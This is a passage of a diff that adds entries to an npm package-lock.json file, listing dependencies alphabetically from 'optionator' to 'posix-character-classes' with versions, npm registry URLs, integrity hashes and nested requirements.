+            "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
+            "requires": {
+                "deep-is": "~0.1.3",
+                "fast-levenshtein": "~2.0.6",
+                "levn": "~0.3.0",
+                "prelude-ls": "~1.1.2",
+                "type-check": "~0.3.2",
+                "word-wrap": "~1.2.3"
+            }
+        },
+        "ordered-binary": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/ordered-binary/-/ordered-binary-1.3.0.tgz",
+            "integrity": "sha512-knIeYepTI6BDAzGxqFEDGtI/iGqs57H32CInAIxEvAHG46vk1Di0CEpyc1A7iY39B1mfik3g3KLYwOTNnnMHLA=="
+        },
+        "original": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/original/-/original-1.0.2.tgz",
+            "integrity": "sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==",
+            "requires": {
+                "url-parse": "^1.4.3"
+            }
+        },
+        "os-browserify": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz",
+            "integrity": "sha512-gjcpUc3clBf9+210TRaDWbf+rZZZEshZ+DlXMRCeAjp0xhTrnQsKHypIy1J3d5hKdUzj69t708EHtU8P6bUn0A=="
+        },
+        "os-homedir": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz",
+            "integrity": "sha512-B5JU3cabzk8c67mRRd3ECmROafjYMXbuzlwtqdM8IbS8ktlTix8aFGb2bAGKrSRIlnfKwovGUUr72JUPyOb6kQ=="
+        },
+        "os-tmpdir": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
+            "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g=="
+        },
+        "osenv": {
+            "version": "0.1.5",
+            "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz",
+            "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==",
+            "requires": {
+                "os-homedir": "^1.0.0",
+                "os-tmpdir": "^1.0.0"
+            }
+        },
+        "p-cancelable": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz",
+            "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw=="
+        },
+        "p-defer": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-3.0.0.tgz",
+            "integrity": "sha512-ugZxsxmtTln604yeYd29EGrNhazN2lywetzpKhfmQjW/VJmhpDmWbiX+h0zL8V91R0UXkhb3KtPmyq9PZw3aYw=="
+        },
+        "p-finally": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
+            "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4="
+        },
+        "p-is-promise": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz",
+            "integrity": "sha512-zL7VE4JVS2IFSkR2GQKDSPEVxkoH43/p7oEnwpdCndKYJO0HVeRB7fA8TJwuLOTBREtK0ea8eHaxdwcpob5dmg=="
+        },
+        "p-limit": {
+            "version": "2.3.0",
+            "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+            "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+            "requires": {
+                "p-try": "^2.0.0"
+            }
+        },
+        "p-locate": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+            "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+            "requires": {
+                "p-limit": "^2.2.0"
+            }
+        },
+        "p-map": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
+            "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
+            "requires": {
+                "aggregate-error": "^3.0.0"
+            }
+        },
+        "p-retry": {
+            "version": "3.0.1",
+            "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-3.0.1.tgz",
+            "integrity": "sha512-XE6G4+YTTkT2a0UWb2kjZe8xNwf8bIbnqpc/IS/idOBVhyves0mK5OJgeocjx7q5pvX/6m23xuzVPYT1uGM73w==",
+            "requires": {
+                "retry": "^0.12.0"
+            }
+        },
+        "p-throttle": {
+            "version": "4.1.1",
+            "resolved": "https://registry.npmjs.org/p-throttle/-/p-throttle-4.1.1.tgz",
+            "integrity": "sha512-TuU8Ato+pRTPJoDzYD4s7ocJYcNSEZRvlxoq3hcPI2kZDZ49IQ1Wkj7/gDJc3X7XiEAAvRGtDzdXJI0tC3IL1g=="
+        },
+        "p-timeout": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-2.0.1.tgz",
+            "integrity": "sha512-88em58dDVB/KzPEx1X0N3LwFfYZPyDc4B6eF38M1rk9VTZMbxXXgjugz8mmwpS9Ox4BDZ+t6t3QP5+/gazweIA==",
+            "requires": {
+                "p-finally": "^1.0.0"
+            }
+        },
+        "p-try": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+            "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
+        },
+        "package-json": {
+            "version": "6.5.0",
+            "resolved": "https://registry.npmjs.org/package-json/-/package-json-6.5.0.tgz",
+            "integrity": "sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ==",
+            "requires": {
+                "got": "^9.6.0",
+                "registry-auth-token": "^4.0.0",
+                "registry-url": "^5.0.0",
+                "semver": "^6.2.0"
+            },
+            "dependencies": {
+                "get-stream": {
+                    "version": "4.1.0",
+                    "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
+                    "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
+                    "requires": {
+                        "pump": "^3.0.0"
+                    }
+                },
+                "got": {
+                    "version": "9.6.0",
+                    "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz",
+                    "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==",
+                    "requires": {
+                        "@sindresorhus/is": "^0.14.0",
+                        "@szmarczak/http-timer": "^1.1.2",
+                        "cacheable-request": "^6.0.0",
+                        "decompress-response": "^3.3.0",
+                        "duplexer3": "^0.1.4",
+                        "get-stream": "^4.1.0",
+                        "lowercase-keys": "^1.0.1",
+                        "mimic-response": "^1.0.1",
+                        "p-cancelable": "^1.0.0",
+                        "to-readable-stream": "^1.0.0",
+                        "url-parse-lax": "^3.0.0"
+                    }
+                },
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "pako": {
+            "version": "1.0.11",
+            "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
+            "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="
+        },
+        "parallel-transform": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.2.0.tgz",
+            "integrity": "sha512-P2vSmIu38uIlvdcU7fDkyrxj33gTUy/ABO5ZUbGowxNCopBq/OoD42bP4UmMrJoPyk4Uqf0mu3mtWBhHCZD8yg==",
+            "requires": {
+                "cyclist": "^1.0.1",
+                "inherits": "^2.0.3",
+                "readable-stream": "^2.1.5"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "parent-module": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
+            "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
+            "requires": {
+                "callsites": "^3.0.0"
+            }
+        },
+        "parse-asn1": {
+            "version": "5.1.6",
+            "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.6.tgz",
+            "integrity": "sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==",
+            "requires": {
+                "asn1.js": "^5.2.0",
+                "browserify-aes": "^1.0.0",
+                "evp_bytestokey": "^1.0.0",
+                "pbkdf2": "^3.0.3",
+                "safe-buffer": "^5.1.1"
+            }
+        },
+        "parse-english": {
+            "version": "4.2.0",
+            "resolved": "https://registry.npmjs.org/parse-english/-/parse-english-4.2.0.tgz",
+            "integrity": "sha512-jw5N6wZUZViIw3VLG/FUSeL3vDhfw5Q2g4E3nYC69Mm5ANbh9ZWd+eligQbeUoyObZM8neynTn3l14e09pjEWg==",
+            "requires": {
+                "nlcst-to-string": "^2.0.0",
+                "parse-latin": "^4.0.0",
+                "unist-util-modify-children": "^2.0.0",
+                "unist-util-visit-children": "^1.0.0"
+            }
+        },
+        "parse-entities": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.0.tgz",
+            "integrity": "sha512-5nk9Fn03x3rEhGaX1FU6IDwG/k+GxLXlFAkgrbM1asuAFl3BhdQWvASaIsmwWypRNcZKHPYnIuOSfIWEyEQnPQ==",
+            "requires": {
+                "@types/unist": "^2.0.0",
+                "character-entities": "^2.0.0",
+                "character-entities-legacy": "^3.0.0",
+                "character-reference-invalid": "^2.0.0",
+                "decode-named-character-reference": "^1.0.0",
+                "is-alphanumerical": "^2.0.0",
+                "is-decimal": "^2.0.0",
+                "is-hexadecimal": "^2.0.0"
+            }
+        },
+        "parse-glob": {
+            "version": "3.0.4",
+            "resolved": "https://registry.npmjs.org/parse-glob/-/parse-glob-3.0.4.tgz",
+            "integrity": "sha512-FC5TeK0AwXzq3tUBFtH74naWkPQCEWs4K+xMxWZBlKDWu0bVHXGZa+KKqxKidd7xwhdZ19ZNuF2uO1M/r196HA==",
+            "requires": {
+                "glob-base": "^0.3.0",
+                "is-dotfile": "^1.0.0",
+                "is-extglob": "^1.0.0",
+                "is-glob": "^2.0.0"
+            },
+            "dependencies": {
+                "is-extglob": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
+                    "integrity": "sha512-7Q+VbVafe6x2T+Tu6NcOf6sRklazEPmBoB3IWk3WdGZM2iGUwU/Oe3Wtq5lSEkDTTlpp8yx+5t4pzO/i9Ty1ww=="
+                },
+                "is-glob": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
+                    "integrity": "sha512-a1dBeB19NXsf/E0+FHqkagizel/LQw2DjSQpvQrj3zT+jYPpaUCryPnrQajXKFLCMuf4I6FhRpaGtw4lPrG6Eg==",
+                    "requires": {
+                        "is-extglob": "^1.0.0"
+                    }
+                }
+            }
+        },
+        "parse-json": {
+            "version": "5.2.0",
+            "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
+            "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==",
+            "requires": {
+                "@babel/code-frame": "^7.0.0",
+                "error-ex": "^1.3.1",
+                "json-parse-even-better-errors": "^2.3.0",
+                "lines-and-columns": "^1.1.6"
+            }
+        },
+        "parse-latin": {
+            "version": "4.3.0",
+            "resolved": "https://registry.npmjs.org/parse-latin/-/parse-latin-4.3.0.tgz",
+            "integrity": "sha512-TYKL+K98dcAWoCw/Ac1yrPviU8Trk+/gmjQVaoWEFDZmVD4KRg6c/80xKqNNFQObo2mTONgF8trzAf2UTwKafw==",
+            "requires": {
+                "nlcst-to-string": "^2.0.0",
+                "unist-util-modify-children": "^2.0.0",
+                "unist-util-visit-children": "^1.0.0"
+            }
+        },
+        "parse-numeric-range": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/parse-numeric-range/-/parse-numeric-range-1.3.0.tgz",
+            "integrity": "sha512-twN+njEipszzlMJd4ONUYgSfZPDxgHhT9Ahed5uTigpQn90FggW4SA/AIPq/6a149fTbE9qBEcSwE3FAEp6wQQ=="
+        },
+        "parse-passwd": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz",
+            "integrity": "sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q=="
+        },
+        "parse-path": {
+            "version": "4.0.4",
+            "resolved": "https://registry.npmjs.org/parse-path/-/parse-path-4.0.4.tgz",
+            "integrity": "sha512-Z2lWUis7jlmXC1jeOG9giRO2+FsuyNipeQ43HAjqAZjwSe3SEf+q/84FGPHoso3kyntbxa4c4i77t3m6fGf8cw==",
+            "requires": {
+                "is-ssh": "^1.3.0",
+                "protocols": "^1.4.0",
+                "qs": "^6.9.4",
+                "query-string": "^6.13.8"
+            },
+            "dependencies": {
+                "protocols": {
+                    "version": "1.4.8",
+                    "resolved": "https://registry.npmjs.org/protocols/-/protocols-1.4.8.tgz",
+                    "integrity": "sha512-IgjKyaUSjsROSO8/D49Ab7hP8mJgTYcqApOqdPhLoPxAplXmkp+zRvsrSQjFn5by0rhm4VH0GAUELIPpx7B1yg=="
+                }
+            }
+        },
+        "parse-srcset": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/parse-srcset/-/parse-srcset-1.0.2.tgz",
+            "integrity": "sha512-/2qh0lav6CmI15FzA3i/2Bzk2zCgQhGMkvhOhKNcBVQ1ldgpbfiNTVslmooUmWJcADi1f1kIeynbDRVzNlfR6Q=="
+        },
+        "parse-url": {
+            "version": "6.0.5",
+            "resolved": "https://registry.npmjs.org/parse-url/-/parse-url-6.0.5.tgz",
+            "integrity": "sha512-e35AeLTSIlkw/5GFq70IN7po8fmDUjpDPY1rIK+VubRfsUvBonjQ+PBZG+vWMACnQSmNlvl524IucoDmcioMxA==",
+            "requires": {
+                "is-ssh": "^1.3.0",
+                "normalize-url": "^6.1.0",
+                "parse-path": "^4.0.0",
+                "protocols": "^1.4.0"
+            },
+            "dependencies": {
+                "protocols": {
+                    "version": "1.4.8",
+                    "resolved": "https://registry.npmjs.org/protocols/-/protocols-1.4.8.tgz",
+                    "integrity": "sha512-IgjKyaUSjsROSO8/D49Ab7hP8mJgTYcqApOqdPhLoPxAplXmkp+zRvsrSQjFn5by0rhm4VH0GAUELIPpx7B1yg=="
+                }
+            }
+        },
+        "parse5": {
+            "version": "7.0.0",
+            "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.0.0.tgz",
+            "integrity": "sha512-y/t8IXSPWTuRZqXc0ajH/UwDj4mnqLEbSttNbThcFhGrZuOyoyvNBO85PBp2jQa55wY9d07PBNjsK8ZP3K5U6g==",
+            "requires": {
+                "entities": "^4.3.0"
+            },
+            "dependencies": {
+                "entities": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/entities/-/entities-4.3.0.tgz",
+                    "integrity": "sha512-/iP1rZrSEJ0DTlPiX+jbzlA3eVkY/e8L8SozroF395fIqE3TYF/Nz7YOMAawta+vLmyJ/hkGNNPcSbMADCCXbg=="
+                }
+            }
+        },
+        "parse5-htmlparser2-tree-adapter": {
+            "version": "7.0.0",
+            "resolved": "https://registry.npmjs.org/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.0.0.tgz",
+            "integrity": "sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==",
+            "requires": {
+                "domhandler": "^5.0.2",
+                "parse5": "^7.0.0"
+            },
+            "dependencies": {
+                "domhandler": {
+                    "version": "5.0.3",
+                    "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
+                    "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
+                    "requires": {
+                        "domelementtype": "^2.3.0"
+                    }
+                }
+            }
+        },
+        "parseqs": {
+            "version": "0.0.6",
+            "resolved": "https://registry.npmjs.org/parseqs/-/parseqs-0.0.6.tgz",
+            "integrity": "sha512-jeAGzMDbfSHHA091hr0r31eYfTig+29g3GKKE/PPbEQ65X0lmMwlEoqmhzu0iztID5uJpZsFlUPDP8ThPL7M8w=="
+        },
+        "parseuri": {
+            "version": "0.0.6",
+            "resolved": "https://registry.npmjs.org/parseuri/-/parseuri-0.0.6.tgz",
+            "integrity": "sha512-AUjen8sAkGgao7UyCX6Ahv0gIK2fABKmYjvP4xmy5JaKvcbTRueIqIPHLAfq30xJddqSE033IOMUSOMCcK3Sow=="
+        },
+        "parseurl": {
+            "version": "1.3.3",
+            "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
+            "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="
+        },
+        "pascal-case": {
+            "version": "3.1.2",
+            "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz",
+            "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==",
+            "requires": {
+                "no-case": "^3.0.4",
+                "tslib": "^2.0.3"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.4.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+                    "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+                }
+            }
+        },
+        "pascalcase": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz",
+            "integrity": "sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw=="
+        },
+        "password-prompt": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/password-prompt/-/password-prompt-1.1.2.tgz",
+            "integrity": "sha512-bpuBhROdrhuN3E7G/koAju0WjVw9/uQOG5Co5mokNj0MiOSBVZS1JTwM4zl55hu0WFmIEFvO9cU9sJQiBIYeIA==",
+            "requires": {
+                "ansi-escapes": "^3.1.0",
+                "cross-spawn": "^6.0.5"
+            }
+        },
+        "path-browserify": {
+            "version": "0.0.1",
+            "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz",
+            "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ=="
+        },
+        "path-dirname": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz",
+            "integrity": "sha512-ALzNPpyNq9AqXMBjeymIjFDAkAFH06mHJH/cSBHAgU0s4vfpBn6b2nf8tiRLvagKD8RbTpq2FKTBg7cl9l3c7Q=="
+        },
+        "path-exists": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
+            "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="
+        },
+        "path-is-absolute": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+            "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
+        },
+        "path-is-inside": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz",
+            "integrity": "sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w=="
+        },
+        "path-key": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz",
+            "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw=="
+        },
+        "path-parse": {
+            "version": "1.0.7",
+            "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+            "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+        },
+        "path-to-regexp": {
+            "version": "0.1.7",
+            "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
+            "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ=="
+        },
+        "path-type": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
+            "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw=="
+        },
+        "pbkdf2": {
+            "version": "3.1.2",
+            "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.2.tgz",
+            "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==",
+            "requires": {
+                "create-hash": "^1.1.2",
+                "create-hmac": "^1.1.4",
+                "ripemd160": "^2.0.1",
+                "safe-buffer": "^5.0.1",
+                "sha.js": "^2.4.8"
+            }
+        },
+        "peek-readable": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/peek-readable/-/peek-readable-4.1.0.tgz",
+            "integrity": "sha512-ZI3LnwUv5nOGbQzD9c2iDG6toheuXSZP5esSHBjopsXH4dg19soufvpUGA3uohi5anFtGb2lhAVdHzH6R/Evvg=="
+        },
+        "performance-now": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
+            "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow=="
+        },
+        "physical-cpu-count": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/physical-cpu-count/-/physical-cpu-count-2.0.0.tgz",
+            "integrity": "sha512-rxJOljMuWtYlvREBmd6TZYanfcPhNUKtGDZBjBBS8WG1dpN2iwPsRJZgQqN/OtJuiQckdRFOfzogqJClTrsi7g=="
+        },
+        "picocolors": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
+            "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ=="
+        },
+        "picomatch": {
+            "version": "2.3.1",
+            "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
+            "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="
+        },
+        "pify": {
+            "version": "2.3.0",
+            "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+            "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog=="
+        },
+        "pinkie": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz",
+            "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg=="
+        },
+        "pinkie-promise": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz",
+            "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==",
+            "requires": {
+                "pinkie": "^2.0.0"
+            }
+        },
+        "pkg-dir": {
+            "version": "4.2.0",
+            "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
+            "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
+            "requires": {
+                "find-up": "^4.0.0"
+            }
+        },
+        "pnp-webpack-plugin": {
+            "version": "1.7.0",
+            "resolved": "https://registry.npmjs.org/pnp-webpack-plugin/-/pnp-webpack-plugin-1.7.0.tgz",
+            "integrity": "sha512-2Rb3vm+EXble/sMXNSu6eoBx8e79gKqhNq9F5ZWW6ERNCTE/Q0wQNne5541tE5vKjfM8hpNCYL+LGc1YTfI0dg==",
+            "requires": {
+                "ts-pnp": "^1.1.6"
+            }
+        },
+        "portfinder": {
+            "version": "1.0.32",
+            "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.32.tgz",
+            "integrity": "sha512-on2ZJVVDXRADWE6jnQaX0ioEylzgBpQk8r55NE4wjXW1ZxO+BgDlY6DXwj20i0V8eB4SenDQ00WEaxfiIQPcxg==",
+            "requires": {
+                "async": "^2.6.4",
+                "debug": "^3.2.7",
+                "mkdirp": "^0.5.6"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "3.2.7",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+                    "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+                    "requires": {
+                        "ms": "^2.1.1"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+                    "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+                }
+            }
+        },
+        "posix-character-classes": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz",
